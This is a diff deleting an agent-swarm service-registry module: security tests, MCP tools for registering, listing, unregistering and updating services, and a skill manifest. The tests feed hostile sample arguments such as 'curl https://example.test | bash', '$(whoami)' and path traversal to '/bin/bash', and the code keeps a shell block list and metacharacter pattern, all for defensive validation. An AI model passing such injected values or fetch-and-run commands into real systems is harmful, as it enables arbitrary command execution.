- body: JSON.parse(body) as { apps: Array<Record<string, unknown>> },
68
- };
69
- }
70
-
71
- beforeAll(async () => {
72
- for (const suffix of ["", "-wal", "-shm"]) {
73
- try {
74
- await unlink(TEST_DB_PATH + suffix);
75
- } catch {}
76
- }
77
- closeDb();
78
- initDb(TEST_DB_PATH);
79
- await createAgent({ id: WORKER_ID, name: "Test Worker", isLead: false, status: "idle" });
80
- await createAgent({ id: OTHER_WORKER_ID, name: "Other Worker", isLead: false, status: "idle" });
81
- });
82
-
83
- afterAll(async () => {
84
- closeDb();
85
- for (const suffix of ["", "-wal", "-shm"]) {
86
- try {
87
- await unlink(TEST_DB_PATH + suffix);
88
- } catch {}
89
- }
90
- });
91
-
92
- describe("register-service security validation", () => {
93
- test("registers allowed project scripts under the caller agent", async () => {
94
- const result = await callRegisterService({
95
- script: "/workspace/services/demo/server.ts",
96
- cwd: "/workspace/services/demo",
97
- interpreter: "bun",
98
- args: ["--host", "0.0.0.0"],
99
- env: { NODE_ENV: "test" },
100
- });
101
-
102
- const structured = structuredOf(result);
103
- expect(structured.success).toBe(true);
104
- expect(structured.service?.agentId).toBe(WORKER_ID);
105
- expect(structured.service?.name).toBe(WORKER_ID);
106
- expect(structured.service?.script).toBe("/workspace/services/demo/server.ts");
107
- expect(structured.service?.interpreter).toBe("bun");
108
-
109
- const stored = await getServiceByAgentAndName(WORKER_ID, WORKER_ID);
110
- expect(stored?.agentId).toBe(WORKER_ID);
111
- expect(stored?.args).toEqual(["--host", "0.0.0.0"]);
112
- });
113
-
114
- test("rejects scripts outside allowed roots, including traversal to system shells", async () => {
115
- const directShell = structuredOf(
116
- await callRegisterService({ script: "/bin/bash" }, OTHER_WORKER_ID),
117
- );
118
- expect(directShell.success).toBe(false);
119
- expect(directShell.message).toContain("script must point to a project file");
120
-
121
- const traversedShell = structuredOf(
122
- await callRegisterService({ script: "/workspace/../../bin/bash" }, OTHER_WORKER_ID),
123
- );
124
- expect(traversedShell.success).toBe(false);
125
- expect(traversedShell.message).toContain("script must point to a project file");
126
-
127
- const traversedOutsideWorkspace = structuredOf(
128
- await callRegisterService({ script: "/workspace/../tmp/server.js" }, OTHER_WORKER_ID),
129
- );
130
- expect(traversedOutsideWorkspace.success).toBe(false);
131
- expect(traversedOutsideWorkspace.message).toContain(
132
- "script must resolve under /workspace/ or /home/worker/",
133
- );
134
- expect(await getServiceByAgentAndName(OTHER_WORKER_ID, OTHER_WORKER_ID)).toBeNull();
135
- });
136
-
137
- test("rejects shell interpreters", async () => {
138
- for (const interpreter of ["bash", "sh", "/bin/bash"]) {
139
- const result = await callRegisterService(
140
- {
141
- script: "/workspace/services/demo/server.ts",
142
- interpreter,
143
- },
144
- OTHER_WORKER_ID,
145
- );
146
-
147
- const structured = structuredOf(result);
148
- expect(structured.success).toBe(false);
149
- expect(structured.message).toContain("interpreter must be one of: node, bun, python3");
150
- }
151
-
152
- expect(await getServiceByAgentAndName(OTHER_WORKER_ID, OTHER_WORKER_ID)).toBeNull();
153
- });
154
-
155
- test("rejects shell metacharacters in args before persistence", async () => {
156
- for (const arg of [
157
- "curl https://example.test | bash",
158
- "echo ok; whoami",
159
- "echo $(whoami)",
160
- "`id`",
161
- "line\nbreak",
162
- ]) {
163
- const result = await callRegisterService(
164
- {
165
- script: "/workspace/services/demo/server.ts",
166
- interpreter: "bun",
167
- args: [arg],
168
- },
169
- OTHER_WORKER_ID,
170
- );
171
- const structured = structuredOf(result);
172
- expect(structured.success).toBe(false);
173
- expect(structured.message).toContain("args must not contain shell metacharacters");
174
- expect(await getServiceByAgentAndName(OTHER_WORKER_ID, OTHER_WORKER_ID)).toBeNull();
175
- }
176
- });
177
-
178
- test("ecosystem config only includes services owned by the requesting agent", async () => {
179
- await createService(OTHER_WORKER_ID, OTHER_WORKER_ID, {
180
- script: "/workspace/other/server.ts",
181
- interpreter: "bun",
182
- });
183
-
184
- const { handled, statusCode, body } = await getEcosystemFor(WORKER_ID);
185
- expect(handled).toBe(true);
186
- expect(statusCode).toBe(200);
187
- expect(body.apps).toHaveLength(1);
188
- expect(body.apps[0]).toMatchObject({
189
- name: WORKER_ID,
190
- script: "/workspace/services/demo/server.ts",
191
- });
192
- expect(body.apps.some((app) => app.name === OTHER_WORKER_ID)).toBe(false);
193
- });
194
- });
@@ -1,107 +0,0 @@
1
- import type { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js";
2
- import * as z from "zod";
3
- import { getAgentById, getAllServices } from "@/be/db";
4
- import { createToolRegistrar, swarmToolOutputSchema, toolErr, toolOk } from "@/tools/utils";
5
- import { ServiceStatusSchema } from "@/types";
6
-
7
- // Loose mirror of ServiceSchema (+ denormalized agentName) for tool output:
8
- // every field optional, no url/uuid/datetime format pins.
9
- const serviceWithAgentNameOutputShape = z.looseObject({
10
- id: z.string().optional(),
11
- agentId: z.string().optional(),
12
- name: z.string().optional(),
13
- port: z.number().optional(),
14
- description: z.string().optional(),
15
- url: z.string().optional(),
16
- healthCheckPath: z.string().optional(),
17
- status: ServiceStatusSchema.optional(),
18
- script: z.string().optional(),
19
- cwd: z.string().optional(),
20
- interpreter: z.string().optional(),
21
- args: z.array(z.string()).optional(),
22
- env: z.record(z.string(), z.string()).optional(),
23
- metadata: z.record(z.string(), z.unknown()).optional(),
24
- createdAt: z.string().optional(),
25
- lastUpdatedAt: z.string().optional(),
26
- agentName: z.string().optional(),
27
- });
28
-
29
- export const registerListServicesTool = (server: McpServer) => {
30
- createToolRegistrar(server)(
31
- "list-services",
32
- {
33
- title: "List Services",
34
- description:
35
- "Query services registered by agents in the swarm. Use this to discover services exposed by other agents.",
36
- annotations: { readOnlyHint: true },
37
-
38
- inputSchema: z.object({
39
- agentId: z.string().optional().describe("Filter by specific agent ID."),
40
- name: z.string().optional().describe("Filter by service name (partial match)."),
41
- status: ServiceStatusSchema.optional().describe("Filter by health status."),
42
- includeOwn: z
43
- .boolean()
44
- .default(true)
45
- .optional()
46
- .describe("Include services registered by calling agent (default: true)."),
47
- }),
48
- outputSchema: swarmToolOutputSchema({
49
- yourAgentId: z.string().optional(),
50
- services: z.array(serviceWithAgentNameOutputShape).optional(),
51
- count: z.number().optional(),
52
- }),
53
- },
54
- async ({ agentId, name, status, includeOwn }, requestInfo, _meta) => {
55
- if (!requestInfo.agentId) {
56
- return toolErr('Agent ID not found. Set the "X-Agent-ID" header.', {
57
- data: { services: [], count: 0 },
58
- });
59
- }
60
-
61
- try {
62
- let services = await getAllServices({
63
- agentId,
64
- name,
65
- status,
66
- });
67
-
68
- // Filter out own services if requested
69
- if (includeOwn === false) {
70
- services = services.filter((s) => s.agentId !== requestInfo.agentId);
71
- }
72
-
73
- // Denormalize agent names
74
- const servicesWithAgentNames = await Promise.all(
75
- services.map(async (service) => {
76
- const agent = await getAgentById(service.agentId);
77
- return {
78
- ...service,
79
- agentName: agent?.name,
80
- };
81
- }),
82
- );
83
-
84
- const count = servicesWithAgentNames.length;
85
- const statusSummary =
86
- count === 0 ? "No services found." : `Found ${count} service${count === 1 ? "" : "s"}.`;
87
-
88
- // Format for text output
89
- const serviceList = servicesWithAgentNames
90
- .map(
91
- (s) => `- ${s.name} (${s.status}) by ${s.agentName ?? "unknown"}: ${s.url ?? "no URL"}`,
92
- )
93
- .join("\n");
94
-
95
- return toolOk(statusSummary, {
96
- details: count === 0 ? undefined : serviceList,
97
- data: { yourAgentId: requestInfo.agentId, services: servicesWithAgentNames, count },
98
- });
99
- } catch (error) {
100
- const message = error instanceof Error ? error.message : "Unknown error";
101
- return toolErr(`Failed to list services: ${message}`, {
102
- data: { yourAgentId: requestInfo.agentId, services: [], count: 0 },
103
- });
104
- }
105
- },
106
- );
107
- };
@@ -1,177 +0,0 @@
1
- import path from "node:path";
2
- import type { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js";
3
- import * as z from "zod";
4
- import { getAgentById, upsertService } from "@/be/db";
5
- import { createToolRegistrar, swarmToolOutputSchema, toolErr, toolOk } from "@/tools/utils";
6
- import { ServiceStatusSchema } from "@/types";
7
-
8
- // Loose mirror of ServiceSchema for tool output: every field optional, no
9
- // url/uuid/datetime format pins.
10
- const serviceOutputShape = z.looseObject({
11
- id: z.string().optional(),
12
- agentId: z.string().optional(),
13
- name: z.string().optional(),
14
- port: z.number().optional(),
15
- description: z.string().optional(),
16
- url: z.string().optional(),
17
- healthCheckPath: z.string().optional(),
18
- status: ServiceStatusSchema.optional(),
19
- script: z.string().optional(),
20
- cwd: z.string().optional(),
21
- interpreter: z.string().optional(),
22
- args: z.array(z.string()).optional(),
23
- env: z.record(z.string(), z.string()).optional(),
24
- metadata: z.record(z.string(), z.unknown()).optional(),
25
- createdAt: z.string().optional(),
26
- lastUpdatedAt: z.string().optional(),
27
- });
28
-
29
- const SWARM_URL = process.env.SWARM_URL ?? "localhost";
30
- const ALLOWED_SCRIPT_ROOTS = ["/workspace", "/home/worker"];
31
- const ALLOWED_INTERPRETERS = new Set(["node", "bun", "python3"]);
32
- const BLOCKED_SCRIPT_BASENAMES = new Set(["bash", "sh", "dash", "zsh", "fish", "ksh"]);
33
- const BLOCKED_SYSTEM_EXECUTABLE_DIRS = [
34
- "/bin/",
35
- "/usr/bin/",
36
- "/usr/local/bin/",
37
- "/sbin/",
38
- "/usr/sbin/",
39
- ];
40
- const ARG_SHELL_METACHARACTER_PATTERN = /[;&|`\n\r]|\$\(/;
41
-
42
- function isPathWithinRoot(candidate: string, root: string): boolean {
43
- const relative = path.relative(root, candidate);
44
- return relative === "" || (!relative.startsWith("..") && !path.isAbsolute(relative));
45
- }
46
-
47
- function validatePathInsideAllowedRoots(value: string, fieldName: "script" | "cwd"): string {
48
- if (!path.isAbsolute(value)) {
49
- throw new Error(`${fieldName} must be an absolute path under /workspace/ or /home/worker/`);
50
- }
51
-
52
- const resolved = path.resolve(value);
53
- if (BLOCKED_SYSTEM_EXECUTABLE_DIRS.some((dir) => resolved.startsWith(dir))) {
54
- throw new Error(
55
- `${fieldName} must point to a project file under /workspace/ or /home/worker/, not a system executable`,
56
- );
57
- }
58
-
59
- if (fieldName === "script" && BLOCKED_SCRIPT_BASENAMES.has(path.basename(resolved))) {
60
- throw new Error(`${fieldName} must not point to a shell executable`);
61
- }
62
-
63
- if (!ALLOWED_SCRIPT_ROOTS.some((root) => isPathWithinRoot(resolved, root))) {
64
- throw new Error(`${fieldName} must resolve under /workspace/ or /home/worker/`);
65
- }
66
-
67
- return resolved;
68
- }
69
-
70
- function validateInterpreter(interpreter: string | undefined): string | undefined {
71
- if (interpreter === undefined) return undefined;
72
- if (!ALLOWED_INTERPRETERS.has(interpreter)) {
73
- throw new Error("interpreter must be one of: node, bun, python3");
74
- }
75
- return interpreter;
76
- }
77
-
78
- function validateArgs(args: string[] | undefined): string[] | undefined {
79
- if (!args) return undefined;
80
- const unsafeArg = args.find((arg) => ARG_SHELL_METACHARACTER_PATTERN.test(arg));
81
- if (unsafeArg !== undefined) {
82
- throw new Error(
83
- `args must not contain shell metacharacters (;, &, |, $(...), backticks, or newlines): ${unsafeArg}`,
84
- );
85
- }
86
- return args;
87
- }
88
-
89
- export const registerRegisterServiceTool = (server: McpServer) => {
90
- createToolRegistrar(server)(
91
- "register-service",
92
- {
93
- title: "Register Service",
94
- description:
95
- "Register a background service (e.g., PM2 process) for discovery by other agents. The service URL is automatically derived from your agent ID (https://{AGENT_ID}.{SWARM_URL}). Each agent can only run one service on port 3000.",
96
- annotations: { idempotentHint: true },
97
-
98
- inputSchema: z.object({
99
- script: z.string().min(1).describe("Path to the script to run (required for PM2 restart)."),
100
- description: z.string().optional().describe("What this service does."),
101
- healthCheckPath: z
102
- .string()
103
- .optional()
104
- .describe("Health check endpoint path (default: /health)."),
105
- cwd: z.string().optional().describe("Working directory for the script."),
106
- interpreter: z
107
- .string()
108
- .optional()
109
- .describe(
110
- "Interpreter to use (e.g., 'node', 'bun'). Auto-detected from extension if not set.",
111
- ),
112
- args: z.array(z.string()).optional().describe("Command line arguments for the script."),
113
- env: z
114
- .record(z.string(), z.string())
115
- .optional()
116
- .describe("Environment variables for the process."),
117
- metadata: z.record(z.string(), z.unknown()).optional().describe("Additional metadata."),
118
- }),
119
- outputSchema: swarmToolOutputSchema({
120
- yourAgentId: z.string().optional(),
121
- service: serviceOutputShape.optional(),
122
- }),
123
- },
124
- async (
125
- { script, description, healthCheckPath, cwd, interpreter, args, env, metadata },
126
- requestInfo,
127
- _meta,
128
- ) => {
129
- if (!requestInfo.agentId) {
130
- return toolErr('Agent ID not found. Set the "X-Agent-ID" header.');
131
- }
132
-
133
- try {
134
- // Look up the agent to get its name
135
- const agent = await getAgentById(requestInfo.agentId);
136
- if (!agent) {
137
- return toolErr("Agent not found. Join the swarm first.", {
138
- data: { yourAgentId: requestInfo.agentId },
139
- });
140
- }
141
-
142
- // Service name uses agent ID (stable, URL-safe) for subdomain
143
- const serviceName = agent.id;
144
- const servicePort = 3000; // Fixed port - only one service per worker
145
- const url = `https://${serviceName}.${SWARM_URL}`;
146
- const safeScript = validatePathInsideAllowedRoots(script, "script");
147
- const safeCwd = cwd ? validatePathInsideAllowedRoots(cwd, "cwd") : undefined;
148
- const safeInterpreter = validateInterpreter(interpreter);
149
- const safeArgs = validateArgs(args);
150
-
151
- // Upsert: create or update if exists
152
- const service = await upsertService(requestInfo.agentId, serviceName, {
153
- script: safeScript,
154
- port: servicePort,
155
- description,
156
- url,
157
- healthCheckPath: healthCheckPath ?? "/health",
158
- cwd: safeCwd,
159
- interpreter: safeInterpreter,
160
- args: safeArgs,
161
- env,
162
- metadata,
163
- });
164
-
165
- return toolOk(
166
- `Registered service "${serviceName}" at ${url}. Status: ${service.status}. Use update-service-status to mark as healthy.`,
167
- { data: { yourAgentId: requestInfo.agentId, service } },
168
- );
169
- } catch (error) {
170
- const message = error instanceof Error ? error.message : "Unknown error";
171
- return toolErr(`Failed to register service: ${message}`, {
172
- data: { yourAgentId: requestInfo.agentId },
173
- });
174
- }
175
- },
176
- );
177
- };
@@ -1,73 +0,0 @@
1
- import type { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js";
2
- import * as z from "zod";
3
- import { deleteService, getServiceByAgentAndName, getServiceById } from "@/be/db";
4
- import { createToolRegistrar, swarmToolOutputSchema, toolErr, toolOk } from "@/tools/utils";
5
-
6
- export const registerUnregisterServiceTool = (server: McpServer) => {
7
- createToolRegistrar(server)(
8
- "unregister-service",
9
- {
10
- title: "Unregister Service",
11
- description:
12
- "Remove a service from the registry. Use this after stopping a PM2 process. You can only unregister your own services.",
13
- annotations: { destructiveHint: true },
14
-
15
- inputSchema: z.object({
16
- serviceId: z.uuid().optional().describe("Service ID to unregister."),
17
- name: z
18
- .string()
19
- .optional()
20
- .describe("Service name to unregister (alternative to serviceId)."),
21
- }),
22
- outputSchema: swarmToolOutputSchema({
23
- yourAgentId: z.string().optional(),
24
- }),
25
- },
26
- async ({ serviceId, name }, requestInfo, _meta) => {
27
- if (!requestInfo.agentId) {
28
- return toolErr('Agent ID not found. Set the "X-Agent-ID" header.');
29
- }
30
-
31
- if (!serviceId && !name) {
32
- return toolErr("Either serviceId or name is required.", {
33
- data: { yourAgentId: requestInfo.agentId },
34
- });
35
- }
36
-
37
- try {
38
- // Find the service
39
- let service = serviceId ? await getServiceById(serviceId) : null;
40
- if (!service && name) {
41
- service = await getServiceByAgentAndName(requestInfo.agentId, name);
42
- }
43
-
44
- if (!service) {
45
- return toolErr("Service not found.", { data: { yourAgentId: requestInfo.agentId } });
46
- }
47
-
48
- // Check ownership
49
- if (service.agentId !== requestInfo.agentId) {
50
- return toolErr("You can only unregister your own services.", {
51
- data: { yourAgentId: requestInfo.agentId },
52
- });
53
- }
54
-
55
- const deleted = await deleteService(service.id);
56
- if (!deleted) {
57
- return toolErr("Failed to unregister service.", {
58
- data: { yourAgentId: requestInfo.agentId },
59
- });
60
- }
61
-
62
- return toolOk(`Unregistered service "${service.name}".`, {
63
- data: { yourAgentId: requestInfo.agentId },
64
- });
65
- } catch (error) {
66
- const message = error instanceof Error ? error.message : "Unknown error";
67
- return toolErr(`Failed to unregister service: ${message}`, {
68
- data: { yourAgentId: requestInfo.agentId },
69
- });
70
- }
71
- },
72
- );
73
- };
@@ -1,96 +0,0 @@
1
- import type { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js";
2
- import * as z from "zod";
3
- import { getServiceByAgentAndName, getServiceById, updateServiceStatus } from "@/be/db";
4
- import { createToolRegistrar, swarmToolOutputSchema, toolErr, toolOk } from "@/tools/utils";
5
- import { ServiceStatusSchema } from "@/types";
6
-
7
- // Loose mirror of ServiceSchema for tool output: every field optional, no
8
- // url/uuid/datetime format pins.
9
- const serviceOutputShape = z.looseObject({
10
- id: z.string().optional(),
11
- agentId: z.string().optional(),
12
- name: z.string().optional(),
13
- port: z.number().optional(),
14
- description: z.string().optional(),
15
- url: z.string().optional(),
16
- healthCheckPath: z.string().optional(),
17
- status: ServiceStatusSchema.optional(),
18
- script: z.string().optional(),
19
- cwd: z.string().optional(),
20
- interpreter: z.string().optional(),
21
- args: z.array(z.string()).optional(),
22
- env: z.record(z.string(), z.string()).optional(),
23
- metadata: z.record(z.string(), z.unknown()).optional(),
24
- createdAt: z.string().optional(),
25
- lastUpdatedAt: z.string().optional(),
26
- });
27
-
28
- export const registerUpdateServiceStatusTool = (server: McpServer) => {
29
- createToolRegistrar(server)(
30
- "update-service-status",
31
- {
32
- title: "Update Service Status",
33
- description:
34
- "Update the health status of a registered service. Use this after a service becomes healthy or needs to be marked as stopped/unhealthy.",
35
- annotations: { idempotentHint: true },
36
-
37
- inputSchema: z.object({
38
- serviceId: z.uuid().optional().describe("Service ID to update."),
39
- name: z.string().optional().describe("Service name to update (alternative to serviceId)."),
40
- status: ServiceStatusSchema.describe(
41
- "New status: 'starting', 'healthy', 'unhealthy', or 'stopped'.",
42
- ),
43
- }),
44
- outputSchema: swarmToolOutputSchema({
45
- yourAgentId: z.string().optional(),
46
- service: serviceOutputShape.optional(),
47
- }),
48
- },
49
- async ({ serviceId, name, status }, requestInfo, _meta) => {
50
- if (!requestInfo.agentId) {
51
- return toolErr('Agent ID not found. Set the "X-Agent-ID" header.');
52
- }
53
-
54
- if (!serviceId && !name) {
55
- return toolErr("Either serviceId or name is required.", {
56
- data: { yourAgentId: requestInfo.agentId },
57
- });
58
- }
59
-
60
- try {
61
- // Find the service
62
- let service = serviceId ? await getServiceById(serviceId) : null;
63
- if (!service && name) {
64
- service = await getServiceByAgentAndName(requestInfo.agentId, name);
65
- }
66
-
67
- if (!service) {
68
- return toolErr("Service not found.", { data: { yourAgentId: requestInfo.agentId } });
69
- }
70
-
71
- // Check ownership
72
- if (service.agentId !== requestInfo.agentId) {
73
- return toolErr("You can only update status of your own services.", {
74
- data: { yourAgentId: requestInfo.agentId },
75
- });
76
- }
77
-
78
- const updated = await updateServiceStatus(service.id, status);
79
- if (!updated) {
80
- return toolErr("Failed to update service status.", {
81
- data: { yourAgentId: requestInfo.agentId },
82
- });
83
- }
84
-
85
- return toolOk(`Updated service "${service.name}" status to "${status}".`, {
86
- data: { yourAgentId: requestInfo.agentId, service: updated },
87
- });
88
- } catch (error) {
89
- const message = error instanceof Error ? error.message : "Unknown error";
90
- return toolErr(`Failed to update service status: ${message}`, {
91
- data: { yourAgentId: requestInfo.agentId },
92
- });
93
- }
94
- },
95
- );
96
- };
@@ -1,14 +0,0 @@
1
- {
2
- "kind": "skill",
3
- "name": "artifacts",
4
- "displayName": "Artifacts",
5
- "slug": "artifacts",
6
- "title": "Artifacts",
7
- "description": "Store durable task outputs (reports, screenshots, exports, logs) in agent-fs or the shared workspace, and serve interactive web content to a public auth-protected URL via localtunnel. Use when asked to save evidence for a PR/ticket, share a file, \"create an artifact for X\", \"host this for me\", \"spin up a web server\", or \"give me a live link\". Covers agent-fs writes and verification, binary uploads, naming and attachment conventions, the `agent-swarm artifact` CLI, Hono apps, PM2 daemonization, HTTP Basic auth, and the injected browser SDK.",
8
- "version": "2.0.0",
9
- "category": "skills",
10
- "placeholders": [],
11
- "runAllSeedersCandidate": true,
12
- "systemDefault": false,
13
- "tags": ["artifacts", "evidence", "qa", "agent-fs", "serving", "tunnel"]
14
- }